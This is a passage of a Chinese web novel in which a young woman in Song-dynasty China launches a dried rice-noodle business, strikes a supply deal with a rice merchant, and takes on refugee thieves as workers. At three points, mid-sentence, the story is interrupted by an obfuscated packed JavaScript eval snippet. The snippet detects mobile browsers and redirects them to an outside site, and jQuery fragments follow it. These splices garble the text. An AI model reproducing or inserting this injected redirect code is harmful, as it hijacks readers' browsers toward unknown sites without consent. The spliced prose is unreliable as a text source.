王文茵拍拍她的手，笑道：“梦想还是要有的，说不定哪天就实现了呢。” “哎，我信！”张二嫂对王文茵画的大饼深信不疑，瞬间跟打了鸡血一般浑身都燃起了斗志：“小娘子，那咱们啥时候去朱仙镇上卖米线？” “明日便去！”王文茵将藏钱的小箱子拿出来点算一番后道：“眼下咱们的创业基金还有十两金子和18两银子，上次进货的5石籼米已经用去了2石。” 张二嫂点头：“今日做了差不多120斤干米线。” “明日让李三叔同你我一道去朱仙镇卖干米线，其余的人留下继续做米线。”王文茵想了想又道：“若是人手不够还可以再雇佣一些进来。” “按照今日这产量，确实还需要再增加点人手。”张二嫂点头道：“回头我去后院再挑选几个可用的人来帮忙。” 王文茵拍板：“成！那咱们明日便正式向朱仙镇进军吧。”说完自己都乐了。 21. 第二十一章 翌日一早，王文茵先将30斤干米线送去了文家庄，又为文老夫人做了窝篮拉肠，得了赏银后便带队前往朱仙镇拓展业务去了。 先前用同等斤两的早籼米置换鲜米粉的那十七户农民已经提前得了通知，今后静缘庵的米粉作坊不再供应鲜米粉，取而代之的是干米线。干米线可长期保存，无须每日送货，一次多买几斤搁家里，想吃的时候随时取用，方便快捷，省时还不麻烦，农户没有不愿意的。 不过相应的置换价格也做了调整，不再是一斤籼米换一斤鲜米粉，而是3斤籼米换1斤干米线。 张二嫂拨着算盘皱眉道：“若是这17家农户用3斤籼米换1斤干米线，那咱们顶多只能赚1斤干米线的钱呀。要按咱们48文钱一斤干米线的售价，至少也得6斤籼米才能换1斤干米线不是？” 王文茵点头：“婶子算的没错，48文钱一斤是对外的价格，乡里乡亲的咱们少赚一点也没啥问题，反正量不大。” “小娘子真是仁善，宁可自己吃亏，也不让乡亲们吃亏。”张二嫂又补了一句：“只是不知道乡亲们领不领情。” 王文茵坦然道：“这么做的目的不是为了让乡亲们领情。” 张二嫂仔细想了想，恍然大悟：“我懂了，咱们卖给乡亲们的米线比卖到朱仙镇上要便宜一半，大家就会觉得自己占了大便宜，自然不会来给咱们捣乱，还会替咱们说好话，宣扬好名声，是也不是？” 王文茵笑起来：“婶子真七窍玲珑心，一点就通。” “跟着小娘子久了，我也变聪明了，嘿嘿。”张二嫂也学会了商业互吹。 这一路说说笑笑的就到了朱仙镇，这日恰逢镇上的赶集日，人流比平日多了一倍还不止。附近十里八乡的村民或用肩担、或用车推，大筐小箩带着各自家中的农副产品来集市上售卖，再顺便采购点生活必需品回去。 集市设在距离城门不远处的一片空场地上，最外面都是买卖牲口的，往里走便多了许多菜农，卖的都是自家种的纯天然有机蔬菜，卖相虽然差点意思，胜在新鲜有机，菜叶子上还蘸着晨间的霜露呢。最中心的区域则是以卖吃食为主，水引、索饼、馎饦、拉条、索粉、水滑面、刀削面、拨心面应有尽有，唯独没有米粉和米线。 王文茵她们到达的时候，集市上已经人满为患。卖吃食的区域早已没了空闲的摊位，辗转老半天，最后在靠近城门东北角卖杂粮米面的摊位旁找到一处还算不错的空隙。 北宋朝的小贩在集市上做买卖须先在街道司【注1】注册登记交税，北宋的商税主要是“过税”和“住税”两种。“过税”是对经过收税点的过往商贩收取的税，税率2%；而“住税”则是对店铺与城镇摊贩收取的税，税率3%。【注2】 王文茵他们带了94斤干米线来售卖，其中4斤是用来做免费试吃营销的，余下90斤干米线按每斤48文售价，一共交了住税130文。 摆好摊位，支起用粗麻布做的“望子”【注3】，上书“静缘庵米线”五字招牌，生上炉子，待水开后下米线，生意这就开锣了。 李三毛是哑巴，王文茵还只是十岁的孩子，这招揽顾客的重任就落在了张二嫂身上。张二嫂天生一张和气生财脸，先前因为饥饿面色发黄，这段日子跟着王文茵吃饱睡好，气色日渐红润，扯开嗓子叫卖，那叫一个自信敞亮。 “走过路过不要错过，免费试吃猪油拌米粉，都来尝一尝咯。” 这一声叫唤立刻吸引了过路的赶集客们，猪油拌米粉是从未听过的新鲜吃食，人群一下就围了过来。 “大娘子，您这儿卖的是什么吃食？” “米线，就是用大米做的汤饼。”张二嫂将竹筒做的简易碗里备好的猪油拌粉分发给围观群众：“免费的，大伙儿先尝尝味儿，好吃就买，不好吃反正也不要钱。” 一听是免费的，众人纷纷伸手要了一份，不吃白不吃，尝一口看看是啥味儿。结果，尝过味儿的人眼睛瞬间就亮了，这口感跟寻常的汤饼全然不同，甚至比寻常的汤饼更滑溜爽口。 王文茵适时将草绳捆缚的一包包干米线展示给众人看：“大伙儿吃的便是这干米线，买回去放热水里汆烫片刻，再拌上猪油调料就能吃，方便又美味，营养又健康。” “小娘子，这干米线卖几个钱？” “1斤48文钱。”王文茵特地强调：“1斤干米线泡水后变成三斤湿米线，能做六七碗猪油拌粉呢，是不是很合算呀？” “合算，合算。”有人已经迫不及待掏出了铜钱：“小娘子，给我三斤。” “得嘞，三斤米线收您144文钱。” “我要两斤。” “好的，没问题，96文。” …… 这才半天功夫，90斤干米线一售而空，王文茵有些后悔米线带少了。 “哎呀，早知道生意这么好，咱们就应该多做一点米线，囤他个几百斤再来卖。”张二嫂精神亢奋，第一次出来做买卖，小半天就卖空了，这谁受得了啊。 王文茵心想，要是张二嫂看到后世的人直播带货，一秒清空，不知道会是什么表情。 “不用急，来日方长。”王文茵故作云淡风轻道：“目前市面上还没有竞争对手，这干米线也不是那么容易就能被仿制出来的，咱们还能再卖一阵子呢。” “那倒是。”张二嫂喜滋滋道：“十七道工序呢，咋能说模仿就模仿的，除非他们像小娘子这般聪慧，还能自个儿设计饸饹床子榨米线。” 王文茵被她夸得冷汗都出来了，嗐，这可不是我自己发明的啊，但说实话你们又不会信，算了，将错就错吧，反正也没违背历史规律不是。 “咱们这就收摊吧。”王文茵摸了摸袋子里沉甸甸的铜钱，“顺道再买些早籼米带回去，剩下的粮食已经不够用了。” 张二嫂哎了一声，手脚麻利地将炉子灭了，再同李三毛一起把摊位收拢放到轱辘车上，三人推着轱辘车往城门方向走去。途中看到有农民出来卖自家产的早籼米，便以600文一石的价格买了5石回去。 第二日出摊又带了94斤干米线，原以为这日不是赶集日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859769|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，人流比较少，须得多卖几个时辰，不想摊子才刚支起来，炉子还没烧上呢，就呼啦啦围上来一拨人，着实把王文茵她们吓了一跳。问了才知道，原来是昨日品尝过猪油拌粉的人帮他们做了宣传，说是有一家名为静缘庵米粉的摊子，卖的是大米做的汤饼，口感是前所未有的爽滑，今日寻了半天总算找着了，可不能再错过。 “小娘子这是打哪儿过来的？”顾客甲要了一份免费试吃的米线，乐呵呵道。 “丰收村静缘庵。” “丰收村呀，离这儿有点远呢。”顾客乙道。 “可不嘛。”张二嫂忙不迭给新来的客人送上试吃的猪油拌粉。 顾客甲边吃边道：“小娘子以后每天都来咱们朱仙镇卖米线吗？” 王文茵眯起眼笑：“我们大老远赶来，一次也带不了太多米线，大家若是喜欢这米线，也可以来我们丰收村的静缘庵采买，还能给打折。” “啥叫打折？” “就是便宜点。” “哟，那是挺好，就是路太远，怕是有点麻烦。” …… 一拨一拨的新客和昨日买过的回头客来了又去，轱辘车上带来的干米线很快就见了底。 “想不到今日生意居然比昨日更好了。”张二嫂喜上眉梢，玩笑道：“照这势头咱们是不是可以先考虑在朱仙镇立足啊？” 王文茵歪着头一本正经想了想：“倒也不是不行。” 张二嫂瞪眼：“小娘子当真？” 王文茵抿嘴一笑，“朱仙镇可作为咱们进军汴京城的一块跳板，先定下这个小目标吧。” “朱仙镇繁华，离咱们丰收村又近，来回一趟也方便，小娘子若是喜欢便在此处住下吧，这米线我每日按时送来售卖就是。”张二嫂觉得静缘庵的环境实在太委屈王文茵这样世家出身的小娘子了。 王文茵拍拍她的胳膊：“咱们得一起来，我不是说了嘛，咱们是合伙人，苟富贵，勿相忘。” 张二嫂是典型的泪失禁体制，一句话又差点把她给惹哭了：“小娘子，我……” 王文茵见状赶紧转换话题：“咱们这就收摊，再去米粮铺买点早籼米回去吧。” “哎，好。”张二嫂破涕为笑，立刻动手收拾摊子。 这边刚说要去买米，那边就看见先前光顾过的那家米粮铺的老板找了过来。 “哎呀，王小娘子，米线还有剩的吗？”米粮铺周老板喘着气跑来，一看发现轱辘车上已经空了，有些失望道：“已经没了啊……适才人太多，没赶上，哎。” 王文茵很意外：“周老板先前来过吗？” “来了啊。”周老板抬起手背擦去鬓角的汗：“我听人说这边有卖一种新鲜吃食叫米线的，特地过来看了看，没想到居然是王小娘子你们，真是巧啊。” “早知道周老板喜欢，就该先留出一份来的。”王文茵客套道：“今日虽没了，明日咱们再来的时候必定先给周老板送一份去。” “那感情好。”周老板很受用：“小娘子可还要买点米粮回去？” 22. 第二十二章 啧啧，人家这才叫生意人！王文茵心说。 “正打算去周老板的铺子买点早籼米回去呢。”王文茵笑道。 周老板脑筋转得快，马上把两样东西联系起来了：“莫非小娘子卖的这个米线是用早籼米所制？” “正是。”王文茵也不隐瞒。 周老板心生佩服：“小娘子果然不同寻常，居然能将难吃至极的早籼米做成米线来售卖。” “周老板谬赞。王文茵谦逊道。 “我有一个不情之请，小娘子是否考虑与我一道合作这米线买卖？”周老板终于道出了真正的目的。 周老板先前曾让店里的伙计取了试吃的米线过来品尝，虽不知是用什么米做出来的，但根据他做了多年米粮生意的经验判断，这米线肯定会有市场。 王文茵其实也想过找代理商来销售米线这条途径，这样一来米线作坊只需负责生产和加工，运输同销售就不用参与了，省却不少麻烦事，还可以继续开发别的产业。这两日出来练摊的目的就是试水，看看米线销路如何，结果经销商居然主动送上门来，哪还有不答应的道理。 “周老板若是愿意合作，我自然是没有不答应的道理。”王文茵含笑道。 周老板大喜过望，立马伸手做了个邀请的姿势：“那就请小娘子随我去铺子里详谈合作事宜？” 王文茵欣然应邀。 在周老板的米粮铺子里，双方经过公平友好的协商后很快就敲定了合作条款。做米线用的早籼米由周老板供应，王文茵的米线作坊只负责生产加工，以每石米2400文的加工费为周老板供应干米线，运输和销售则由周老板自己全权负责。 周老板原想买断米线的独家销售代理权，但王文茵认为这样不利于米线作坊的正常运营，便没答应。最后，双方订立了非独家合作契约，至于米线的售价则由王文茵给一个市场指导价，再由周老板自己根据市场反馈来定夺。 此外，周老板这边还希望王文茵根据销售情况随时增加产能，以确保米线的供应量稳定增长。 立完契后，周老板当即让伙计雇来一辆骡车，将10石早籼米连同王文茵她们三人一起打包送回了静缘庵。 一行人带着第一笔订单喜滋滋回到静缘庵，才刚踏进大门便得知出了一件大事——遭贼了！ 王文茵同张二嫂赶紧跑去后院查看，发现院子里随处可见都是狼藉，低矮的围墙豁了一个大口子，看来窃贼是从这里爬进来的。原本晾晒在后院的米线已被人席卷一空，晒米线用的竹篾扔得到处都是，上面还有带着泥泞的脚印，有几个都被踩扁断裂了。 看着满院狼藉王文茵倒也不慌张，快过年了，缺钱少粮的饥民出来进货不是什么稀罕事，只是没料到他们会偷到静缘庵里来，要知道这里可是福田院，出了名的穷，要偷也该去偷山下的文家庄不是？ 张二嫂又心疼又气急，揪着王大崔质问：“我不是叫你看管好作坊吗？怎么我才离开一天就发生这种事？你说你是不是偷懒去了？” 王大崔哭丧着脸告饶：“二婶子，你可别冤枉我啊，我这一整天都在灶房里忙得脚不沾地的，怎么可能偷懒？不信，你去问周婆子、阿萍她们。” 周婆子和阿萍都点头帮忙澄清：“二婶子，王叔确实没偷懒，我们几个都在灶房里忙的时候听见外头有人喊进贼了，跑出去看的时候后院晾晒的米线已经被偷走了。” “知道是谁干的吗？”王文茵冷静道，住在丰收村里的乡民虽不富裕，但也绝非是穷山恶水出刁民之地，鲜少听闻有村民行盗这类事发生，更何况村里还有当朝宰执坐镇，想来也不应该有穷寇出没。 “应该是山下那些个流民。”阿萍俯身在王文茵耳边轻声道：“我跑出来的时候看到有个人背影挺眼熟，像是先前同我们一起逃难来此地的那位大哥，就住在山下的流民窝棚里。” 既是山下的流民，王文茵反而安下心来，看来今年收成少，山下的流民日子不好过，上山来打牙祭了。她刚想让阿萍带路去山下的流民窝棚里看看到底是什么情况，不想妙善师太已经同里正一道儿进来了。【注1】 “王小娘子，听妙善师太说你们这儿遭了贼，究竟是怎么一回事？损失几何？”里正一早就从妙善这儿得知王文茵眼下是文老夫人跟前的红人，态度自是十分恭谦。 王文茵上前向里正行礼：“里正有礼，奴家也是刚刚得知，目前损失并不大，劳烦里正实在过意不去。” 里正扫视四周，发现墙上破了一个洞，回身问在场众人：“你们可知是何人所为？” 众人面面相觑，阿萍不敢吱声，探询的眼神看向王文茵。 王文茵摇了摇头，有意大事化小，便道：“本村有里正主持大事，素来民风淳朴，村民必然不会做出此等偷鸡摸狗之事。想来应是过路的贼临时起意，翻墙进来拿了点吃食而已。” 这话既恭维了里正，又拔高了丰收村的名誉，里正听了很受用，心里认定王小娘子是个识大体的人，不像妙善，不过进了个小贼就大费周章把他请来，正打算和稀泥，不想门口又进来两人。 来的不是旁人，正是几日不见的文安世和里正身边的邻长。 原来，先前妙善让静尘去通知里正，说静缘庵遭了贼，里正怕事就让邻长先去禀告了文家庄。通常一个村子里若是有高官乡绅坐镇，里正发挥的也就是个跑腿的作用。 文安世一进来就听到王文茵恭维里正的那句话，抿抿嘴，似笑非笑看了她一眼。 王文茵心里暗叫不妙，本来里正这里还能糊弄过去，可文家的人插手进来，山下的流民怕是要遭殃。 里正上前向文安世问好：“七衙内怎么过来了？这等小事何须劳烦七衙内。” 文安世双手交叠作揖道：“听闻静缘庵遇贼，祖母遣我过来看看。” 里正讨好似的笑道：“惊扰老夫人，是我该死。” “里正无须自责，本村向来太平，鲜少发生此等骇人听闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868118|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之事，想来必是另有隐情。”文安世这话既全了里正的颜面，又暗示他工作上的疏漏。 里正听得后背都冒了冷汗，本以为只是一件小事，谁知竟惊动了文老夫人，这差事要是办不好，自己岂不是要提前领盒饭？ “七郎说的是，我马上派人去查，倒是要看看究竟是谁胆大包天，敢偷到我们丰收村头上来。” 里正刚要让邻长去叫差役捉人，却看见门口呼啦啦进来一帮人，打头的正是文安世身边的小厮陈武。 陈武上前行礼：“七郎，我在山下巡察之时，见流民窝点有两贼人在分发米线给其余众人。现已经将窃贼捉拿捆绑，此刻正候在庵门外，听凭发落。” 文安世道：“先将人带进来问话。” 很快，文家的家丁将两个五花八绑的男人从外面押送进来。 两名窃贼身上穿着打着补丁的单薄衣衫，赤着脚，脸上身上皆是泥污，看来先前是经过了一番打斗。两人都垂着头一言不发，认命似的跪了下来。 王文茵惊讶地发现，被捉拿的两名窃贼其中一人居然只是个半大的少年，年纪估计跟文安世差不多，只是因为营养不良，看起来比文安世个子矮瘦不少。 “咦，竟然是你偷了我们的米线！”里正还来不及发话，王大崔先出了声，指着那个半大的男孩气愤不已：“我好心给你碗米粉吃，你居然恩将仇报，带人来偷我们的东西！” 男孩羞愧不已，头催得更低了，若不是皮肤较黑，想必此刻已是满脸通红。 里正诧异道：“你认识他们？” 王大崔立刻上前下跪禀报：“启禀里正，此二人都是住在山下的流民，这二小子原是跟我一个村子的，因饥荒逃难来此。前几日他上山来寻我，求我舍他点吃食，说他娘因饥饿已经奄奄一息了。看在老乡的份上，我于心不忍，便将自己省下来的口粮分了他一碗。谁知他居然贪心不足上门来偷，是我瞎了眼没认清这条白眼狼。” 里正两条眉毛倒立竖起，吹胡子瞪眼，大声呵道：“简直岂有此理！天子脚下，朗朗乾坤，竟敢在我丰收村行盗窃之事。来人哪，将这两贼人给我押下去先打十板子，再押送官府审判！” “且慢！”王文茵上前一步道：“里正可否听我说句话？” “小娘子且说。” 王文茵转身看着两名窃贼，“此二人既是逃难来丰收村的流民，也不像是惯犯，行窃想必事出有因，里正能否先问一下缘由，再决定是否送官。” 见文安世不反对，里正点头应允，质问道：“你二人快从实招来，为何来此行窃？” 两名窃贼先是低头不语，里正有些不耐烦，正要发作，年纪大的那名汉子忽然抬起头来，一副慷慨就义的模样，梗着脖子强硬道：“是我干的，要杀要剐随你们的便！只是别为难小二子，是我逼他的。” 男孩闻言抬起惊惶的脸，红着眼眶急道：“鲁大哥，你……你要是死了，阿嫂和你那刚出生的孩子该怎么办？” 23. 第二十三章 男孩的话令那汉子脸色瞬间灰败，联想到自己若是被砍头或是被抓去坐牢，妻儿的日子想必更是艰难，再硬的骨头也不得不服软。 汉子看了看在场几人，里正横眉冷对，文安世作壁上观，唯有替他们说话的小娘子看起来像是个面善好说话的。他转身向王文茵咚咚磕头哀求：“小娘子，求你饶我一命！我愿做牛做马报答你的恩情！” 王文茵惊诧之余哑然失笑，这话从何说起，自己又不是县官老爷，还能给他定罪不成？ “你且说说为何偷窃米线？” “我娘子刚生下孩子没几日，窝棚里除了野菜糊糊实在没什么东西可以填肚子。我娘子没奶水，可怜我那孩儿饿得整日啼哭……我实在没办法，听二娃子说庵里有很多米线，于是便……便动了邪念……我知道不该偷窃，可我又没有银钱更换吃食，更不能眼睁睁看着自己刚出生还没满月的孩子饿死，怪只怪我这个当爹的无能。”汉子羞惭不已，脑袋低得快要埋进地底去了。 文安世看向王文茵，发现她眼神凝滞，不知在想什么，便开口问里正：“既是外来的流民，为何没有妥善安置？” 里正以为文安世要问自己的罪，慌得一批，赶紧解释道：“七衙内有所不知，这些流民来了丰收村后我便命人将他们安置在村里一处空场地。因他们身上没钱，造不起茅草房，便让人先给他们搭建了窝棚居住，再让村民帮衬着给点耕地的活干，好让他们有口饭吃。哪知今年收成少，村民自己的口粮都不够吃，哪还有余粮分给他们，是以，是以……” 其实里正心里想的是，流民既是外来户，又没有自己的田地，被本村村民排挤也是正常的。而这村里最肥的水田几乎全是文家的，但宰执家的田地还轮不到他做主，流民能耕种的地有限，村民又不愿把收成好的田赁给他们种，光凭几亩旱地能吃上野菜糊糊就已经不错了，还想吃别的，简直痴心妄想。 可文安世哪知道这些，他每次来丰收村都是陪他祖母过来休养生息，度假来的，他能看到的都只是下人们想让他看到的田园风光美好的一面，至于这背后农耕的辛劳是他根本接触不到的。 王文茵转身向里正请示：“里正，可否允许我先去山下的窝棚里看看？” 里正疑惑：“小娘子去窝棚里做什么？” 王文茵指着那汉子道：“若是此人所言属实，那便是情有可原，我可以不追究眼下的损失，但必须找出一个合理的解决方案来让他弥补我的损失。” “这……”里正皱眉道：“此人既然犯了盗窃罪，那必然是要报官的。至于小娘子的损失嘛……”里正也找不到一个合理的说辞来，本想让王文茵吃个哑巴亏，这事就算过去了，但此刻文家七衙内也在场，他不好使用惯常那套糊弄学，只好将目光投向文安世。 谁知文安世却道：“我同小娘子一道下山去。” 里正慌了神，上前阻拦：“七衙内万万不可！” 文安世不解：“为何不可？” “咳，窝棚那种腌臜地方小心污了七衙内的脚。”里正赔笑道。 这话非但没能阻止文安世，反倒令他生出反感来：“里正既知窝棚腌臜，为何不替流民改善？” 里正支支吾吾说不出话来，多说多错，不如闭嘴。 于是一行人押着两名犯人下山去了，才到静缘庵山门口，便看见一名年轻的妇人抱着尚在襁褓中的婴儿跪在山门前请罪。 眼见自家男人被人绑着押送出来，那妇人立时恸哭哀求：“大人，求你行行好，放了我家男人吧！都是我嘴馋贪吃，要抓就抓我，我愿替我家男人受过。” “娘子——”那汉子惊呼，语带哽咽。 王文茵心知这便是那汉子的娘子跟孩儿，上前去搀扶那妇人：“这位娘子，快先起来，天寒地冻，别伤了身子。” 那妇人坚持跪着不肯起，抓着王文茵的手像是抓住了一根救命稻草，苦苦哀求：“小娘子，求你……求你救救我家男人……” 妇人泣不成声，襁褓里的孩子也放声大哭，场面实在凄惨。 王文茵叹气，扶起那妇人，在她耳边小声道：“娘子别担心，你家夫君不会有事的，你且带我去窝棚里看看。” 那妇人也不傻，先前听同住窝棚的小二子说过，静缘庵里的米粉作坊是一位姓王的小娘子建起来的，他那个瘸子同乡王大崔自从跟了王小娘子便过上了顿顿有饱饭吃，还有工钱拿的好日子。仔细打量眼前这少女，见她虽然年纪轻轻，却气度不凡，想必就是那位传说中的王小娘子了。 她感激地朝王文茵福了一福，带着她往山下走去。 还没到窝棚定居点便看见住在里面的流民都出来了，挤挤挨挨聚在一起，大概是怕引火上身，脸上表情各异，但眼神无不是惊恐不安的。 王文茵由那年轻妇人带路来到窝棚前，发现在场的人皆是衣衫褴褛，面黄肌瘦。不过，比起山上那些被福田院收留的人，他们倒是四肢健全的正常人，只因寒冷和饥饿，面色看起来都有些发青呆滞。 王文茵大概点了点，流民人数差不多有三十几个，其中一多半是妇人和幼童，青壮年不到十人。 这些人住的窝棚三三两两搭在山脚下的一块荒地上，每家门前都有一口简易的小灶，里面煮的都是各种稀薄的野菜糊糊。 看见偷东西的两人被家丁捆绑着押送过来，流民们十分惊慌，互相挤兑着不敢吱声。 一名年长的妇人从人群中哭喊着挤出来，跌跌撞撞冲向那几名押人的家丁，没走几步就摔倒在地上，嘶哑地喊着：“大人饶命啊——”。 跟在妇人身后的两个孩子跑上去跪倒在地，抓着妇人的衣袖放声大哭。 “娘——”被抓的那男孩也跟着哭喊。 这家人哭哭啼啼，其余的人也跟着吵起来，眼看局面将要失控，邻长出来吼了一嗓子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870845|158756||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，众人总算是安静下来了。 王文茵走到里正和文安世面前，协商道：“里正能否先把人放了？” 里正一听，吹胡子瞪眼，断然拒绝：“不成！这案子人证物证具在，怎能随便放人？” 王文茵看向里正：“此处流民人数众多，用来过冬的食物却严重不足，若是将此二人送官，也只能解决眼下的危机，不能确保其他人不会再犯同样的事。且若是流民闹事，怕是会对里正不利。” 里正张了张嘴，把驳斥的话又咽了下去，仔细想想王文茵的话不无道理，但又不知该如何解决流民的温饱问题，便换了个态度道：“小娘子是否还有别的解决方案？” 王文茵暗暗松口气，道：“若是里正不反对，我想在此处扩建米粉作坊，并将这些人都纳入作坊内做工。这样既能解决他们的温饱问题，又能为里正博一个管理有方的好名头，里正以为如何？” 里正哪有不答应的道理，将犯事的流民报官对他而言也不是什么好事，说明他治下无方，解决不了流民的生存问题。若是王小娘子真的能帮他把流民的温饱问题解决了，上头县官老爷必然会对他青睐有加，何乐而不为呢？ “小娘子身为苦主都不追究这些贼人的过错了，某岂有不答应的理？”里正笑眯眯道。 王文茵却摇头：“我并非不追究这二人的过错，他们既然犯了事，那就必须请里正先将此二人所犯之事登记在册，只是暂时先不报官。待这二人将功补过，再由里正酌情定夺是否免去他们的罪责。” 里正击掌：“好！就按王小娘子所说的办，邻长——” “小的在。”邻长上前领命。 “且将这二人所犯之事记录下来，再让他们画个押便放了吧。”里正说完才想起来还没征询过文安世的意见，立刻一脸恭敬道：“七衙内以为如何？” 文安世拱手笑道：“但凭里正处置。”转身示意陈武将人松绑释放。 这边人一放，两家人少不得又是一场大哭，庆幸自己逃过一劫。 文安世环视四周，注意到流民所住的窝棚大都残破不堪，四处漏风不说，遇到雨雪天怕是有坍塌的风险，便道：“流民既来丰收村定居，便是本村村民，理应一视同仁。然现下所住窝棚怕是难以御寒，我愿替祖母捐出茅屋数间，以助他们过冬，不知里正意下如何？” 里正大喜过望，躬身作揖：“我替流民谢过老夫人！谢过七衙内！” 流民们闻言感动落泪，纷纷下跪叩谢。 里正带人离去后，王文茵向文安世行礼道谢：“多谢七衙内仗义相助。” “小娘子不必多礼，这本就是我应该做的，只是先前疏忽了。”文安世还礼道：“只是某有一事不明，还望小娘子指教？” “七衙内请讲。” “小娘子为何不同意里正将此二人送官，反而不计前嫌，以德报怨？”文安世似笑非笑看着她。 24. 第二十四章 王文茵没有直接回答，而是笑着反问道：“七衙内可知为何文家庄拥有这村子里最多的田地和粮食，却从未发生过流民上门行窃之事？” 文安世对王文茵的坦率直白有些不适应，他当然知道原因，只是有些事实他说不出口。 王文茵看出他的窘迫，莞尔一笑道：“奴家是孤女，在此地无依无靠，稚子无罪，怀璧其罪。与其独乐乐，不如众乐乐，只有大家都有饭吃，才不会冒着犯法的风险去掠夺旁人的财物。奴家非圣人，谈不上以德报怨，只想安安静静地‘赚钱’而已。” 她故意加重了“赚钱”二字，小小调侃一下文安世，没想到他却深以为然，躬身深深作揖：“听君一席话胜读十年书，小娘子的心意某深为感动。” 这般郑重其事，倒是把王文茵搞得很不好意思，曲膝福了一福，回礼道：“七衙内过誉了，奴家只是为生活所迫而已，同理心也只有相同境遇之人才能明了。” 文安世脸上发涩，自己读了那么多治国齐家修身平天下的圣贤书，懂的道理却远不及张口闭口把赚钱当人生目标的王小娘子，难怪古人说百无一用是书生。 “大道至简，小娘子的言论倒是令某想起前朝王介甫相公的名言。”文安世嘴角隐约含有一抹促狭的笑：“合天下之众者财，理天下之财者法。”【注1】 王文茵脸上闪过一丝慌乱，很快镇定下来，故作无知道：“七衙内好学问！只是奴家不过是乡野丫头，哪懂那么许多大道理，不过是实践出真知罢了。” “好一个实践出真知。”文安世满眼赞许：“想必前朝那位王相公提出的很多国策也是从实践中得来。” 王文茵尬笑，王顾左右而言他：“七衙内要助乡民修建茅屋，我这边也要扩建米粉作坊，不如找个人出来统筹分配人手，如何？” 文安世笑笑，收起逗趣她的心思，招手将陈武唤来：“若是小娘子乐意，这修建茅屋之事便交由你来统筹管理，有任何需求都可转告陈武，他会替某出面摆平。” 王文茵也正有此意，反正修建茅屋跟扩建米线作坊都需要人手和材料，统一采购建材并安排施工人员不但能提高效率，还能节省一大笔钱，于是便答应下来。 ***** 王文茵是个实干派，定下目标说干就干，当即便将流民召集起来开了个会，将修建茅屋和米线作坊的计划告诉给在场众人。 “我点算了一下，你们这里一共八户人家，四十九口人，按照每户三间茅屋来算，一共要盖二十四间房。你们是想将所有的茅屋合并在一起呢，还是各自分开？” 众人一听每户人家能分得三间茅屋，简直喜不自禁，三五作对嗡嗡议论，最后一致决定还是要分开，每户各自占一块地，最好带个小院还能晒谷晾菜养鸡圈猪啥的。 这倒没什么问题，里正那边已经答应把山腰附近这片空置的荒地圈出来给流民盖房。这块地虽然荒芜，地势崎岖，胜在面积大，足够这八户人家盖房用，今后哪怕再来几户流民也不在话下。 “既是给你们盖房，便要大家自己出力。虽然盖房子用的石料和木料由文老夫人赞助，但咱们能省则省，这山上有现成的泥石土块都可以捡来用不是。”王文茵倡议道。 众人纷纷点头称是。 “此外，我打算在山下扩建一个米线作坊，起几间大屋当作坊用。修建米线作坊需要人手，我不会让大家白忙活，会给大家算工时，回头每户出的人力都能用工时换铜钱。” 这话一出，众人简直不敢相信，脸上又惊又喜又怀疑。 “小娘子真的给钱吗？”有人小心翼翼问了一句。 “小娘子对我们有再造之恩，我们不能要小娘子的钱！”立刻有人大义凛然地把这贪心的苗头给掐了。 “对，不能要钱，小娘子要盖房子我们都可以出力！” “可是……我们都快揭不开锅了……” 这句大实话把众人又打回了现实，得先吃饱肚子才有力气盖房子不是？ 于是大家面面相觑，不知该如何是好。 王文茵摆摆手，道：“大家的好意我心领了，既是为我做工，便没有白做的道理，就按先头说的每家出的人力都记上工时，待作坊盖完了便可用工时折算工钱。另外，盖房期间我会为在座所有人每日提供两餐吃食，餐费最后也会折算到工钱里头，大家意下如何？” 这等天上掉馅饼的好事居然能落在自己头上，众人哪还有什么别的想法，欢天喜地投下了赞成票。 最后，王文茵让大家举荐一个人出来当工头，负责监理整个工程，并统筹分配工作。 流民互相看了看，不约而同将目光投向了那名偷东西的汉子。 汉子名叫鲁锥，大伙儿喜欢叫他的诨名鲁大，当初就是他将这帮流民带来丰收村定居的，在流民中颇有威望。先前他同张家二小子将偷来的米线分了一大半给其他人，并没有独自私藏，所以流民们还是愿意将他推出来当这个工头。 鲁大有心将功补过，又担心王文茵看不上他，径直走到她面前，扑通一声跪下，抡起手猛扇自己耳光，力道之大，两边脸很快就肿胀起来。 王文茵被吓了一跳，连忙喝止他：“快住手！” 张二嫂跟王大崔一左一右将鲁大的两条胳膊扭住，免得他继续自残。 鲁大也不挣扎，红着眼眶哽咽道：“我的命是小娘子救下的，从今以后我就是小娘子的牛马，小娘子让我做什么就做什么，叫我死我也绝不苟活。” 王文茵皱眉暗忖，这个鲁大到底是卖惨、偷奸耍滑，还是真心实意，要考验过才知道。 她摆了摆手：“你且起来说话。” 